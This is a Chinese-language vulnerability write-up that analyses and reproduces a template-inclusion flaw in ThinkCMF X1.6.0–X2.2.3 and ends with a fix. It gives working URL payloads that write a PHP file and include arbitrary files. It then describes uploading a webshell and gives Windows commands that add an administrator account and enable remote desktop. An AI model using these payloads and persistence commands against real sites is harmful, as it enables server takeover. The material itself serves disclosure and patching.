1. 程式人生 > >ThinkCMF X1.6.0-X2.2.3框架任意內容包含漏洞分析復現

ThinkCMF X1.6.0-X2.2.3框架任意內容包含漏洞分析復現

ThinkCMF X1.6.0-X2.2.3框架任意內容包含漏洞分析復現

一、ThinkCMF簡介

ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理系統框架,底層採用ThinkPHP3.2.3構建。ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴充套件。

每個應用都能獨立的完成自己的任務,也可通過系統呼叫其他應用進行協同工作。在這種執行機制下,開發商場應用的使用者無需關心開發SNS應用時如何工作的,但他們之間又可通過系統本身進行協調,大大的降低了開發成本和溝通成本。

二、漏洞描述

引起漏洞的最主要的問題是因為fetch函式和display函式是public型別。

fetch函式的作用是獲取頁面內容,呼叫內建模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時便可以形成模板注入。

display函式的作用是載入模板和頁面輸出,所對應的引數為:templateFile模板檔案地址,charset模板字符集,contentType輸出型別,content輸出內容。

fetch和display的用法差不多,二者的區別就是display方法直接輸出模板檔案渲染後的內容,而fetch方法是返回模板檔案渲染後的內容。

三、漏洞影響版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

四、漏洞環境搭建

1、下載ThinkCMF2.2.2版本,下載地址: https://github.com/thinkcmf/cmfx

2、解壓之後直接放到phpstudy環境的web根目錄下, 訪問http://192.168.10.171/cmfx/

  

3、輸入資料庫密碼,設定使用者名稱、密碼、郵箱等完成安裝設定,如下成功安裝

  

五、漏洞復現

1、使用sublime text開啟cmfx-X2.2.2資料夾,首先分析主頁程式碼,發現看一下程式的專案路徑在application目錄下

  

2、跟進application,發現IndexController.class.php(入口分組的控制器類)

  

3、發現IndexController類中只有一個方法display方法,跟進父類HomebaseController檔案

  

4、根據ThinkPHP框架規則,可以通過g\m\a引數指定分組\模組\方法,這裡可以通過a引數直接呼叫Portal\IndexController父類(HomebaseController)中的一些許可權為public的方法。

ThinkPHP框架規則參考: https://www.cnblogs.com/czx521/p/6536954.html

5.1、分析發現display函式和fetch函式是許可權為public, display函式的作用是載入模板和頁面輸出,所對應的引數為:templateFile模板檔案地址,charset模板字符集,contentType輸出型別,content輸出內容。templateFile引數會經過parseTemplate函式處理。

  

5.2、跟進parseTemplate函式, 判斷模板是否存在,當模板不存在時會在當前目錄下開始查詢,這裡配合一處上傳形成檔案包含。最終形成的payload :index.php?a=display&templateFile=xx.txt

6、fetch函式的作用是獲取頁面內容,呼叫內建模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時便可以形成模板注入。

這裡fetch函式的三個引數分別對應模板檔案,輸出內容,模板快取字首。利用時templateFile和prefix引數可以為空,在content引數傳入待注入的php程式碼即可。

7、第一種利用方法使用a引數的fetch方法,實現遠端程式碼執行

7.1、payload如下:

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

執行payload,頁面是空白的

  

7.2、訪問test.php

  

7.3、上傳一句話木馬

  

7.4、菜刀連線

  

7.5、新建使用者並新增到管理員組,開啟遠端桌面連線

net user test test /add

net localgroup administrators test /add

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

  

7.6、然後遠端連線就行

  

8、第二種方法, 通過構造a引數的display方法,實現任意檔案包含

Payload: ?a=display&templateFile=README.md

  

六、漏洞修復

可以通過漏洞成因看出來,引起漏洞最主要的原因就是fetch和display函式是public,可以在外面被訪問,因此修復方案就是將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函式的修飾符改為 protected,使他們無法在外面被訪問。

 

 

------------------------------------------------------------------------------------ 

參考: https://xz.aliyun.com/t/6626